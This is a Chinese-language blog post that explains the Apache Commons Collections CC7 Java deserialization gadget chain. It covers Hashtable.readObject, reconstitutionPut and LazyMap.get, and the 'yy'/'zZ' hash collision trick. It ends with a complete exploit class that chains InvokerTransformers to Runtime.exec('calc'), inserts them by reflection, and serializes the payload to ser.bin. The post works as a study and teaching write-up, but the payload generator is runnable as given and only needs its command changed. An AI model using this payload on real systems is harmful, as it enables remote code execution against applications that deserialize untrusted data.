Java-CC7

CC7

与CC5类似,后半还是LazyMap.get()链子

直接看链子,get()确实很多调用的

java.util.AbstractMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public boolean equals(Object o) {
if (o == this)
return true;

if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;

try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}

return true;
}

public int size() {
return entrySet().size();
}

需要注意的是第三个if比较,这里会比较传入map和原map的大小

java.util.Hashtable

入口:java.util.Hashtable#readObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
s.defaultReadObject();

//hashtable序列化时的大小
int origlength = s.readInt();
//Hashtable 存储的 键值对个数
int elements = s.readInt();

int length = (int)(elements * loadFactor) + (elements / 20) + 3;
if (length > elements && (length & 1) == 0)
length--;
if (origlength > 0 && length > origlength)
length = origlength;
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;

// 逐个读取键值对
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(table, key, value);
}
}

reconstitutionPut是比较关键的地方。在第12行触发链子,需要满足前一个条件的成立 e.hash == hashe.key为一个lazymap。

因为他是将tab中的每一个元素都拿出来对比,所以需要至少传入两个元素。存入元素使用的是put方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

因为反序列化时要触发 reconstitutionPut()中的 (e.hash == hash) && e.key.equals(key),我们传入的值的hashcode,要冲突,才会触发equals。但是存在一点小问题需要解决。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public synchronized V put(K key, V value) {
// Make sure the value is not null
if (value == null) {
throw new NullPointerException();
}
// Makes sure the key is not already in the hashtable.
Entry<?,?> tab[] = table;
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
@SuppressWarnings("unchecked")
Entry<K,V> entry = (Entry<K,V>)tab[index];
for(; entry != null ; entry = entry.next) {
if ((entry.hash == hash) && entry.key.equals(key)) {
V old = entry.value;
entry.value = value;
return old;
}
}
addEntry(hash, key, value, index);
return null;
}

yy和zZ

两个值的hashcode相等,为什么不直接存入两个相同的值,因为在使用put存入键值对的时候,两个相同的key是不行的。

image-20250402195716790

但是第二次put的时候,会触发equals,会在 org.apache.commons.collections.map.LazyMap#get时加入新的键值对,与CC6中类似。

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

remove(“yy”)

需要remove这一步骤,因为在 java.util.AbstractMap#equals处会比较两个lazymap的大小。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.junit.Test;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7Test {
public static void serializable(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserializable(String path) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
return ois.readObject();
}
@Test
public void test() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});

HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
Map lazymap1 = LazyMap.decorate(hashMap1, chainedTransformer);
Map lazymap2 = LazyMap.decorate(hashMap2, chainedTransformer);

lazymap1.put("yy", 1);
lazymap2.put("zZ", 1);


Hashtable hashtable = new Hashtable();
hashtable.put(lazymap1, 1);
hashtable.put(lazymap2, 1);

lazymap2.remove("yy");

Class c = chainedTransformer.getClass();
Field field = c.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);

serializable(hashtable);
}

@Test
public void test2() throws IOException, ClassNotFoundException {
unserializable("ser.bin");
}
}

小摊

链子

1
2
3
4
java.util.Hashtable#readObject
java.util.Hashtable#reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator#equals
java.util.AbstractMap#equals

Java-CC7
https://rpniu.github.io/2025/04/02/Java-CC7/
作者
rPniu
发布于
2025年4月2日
许可协议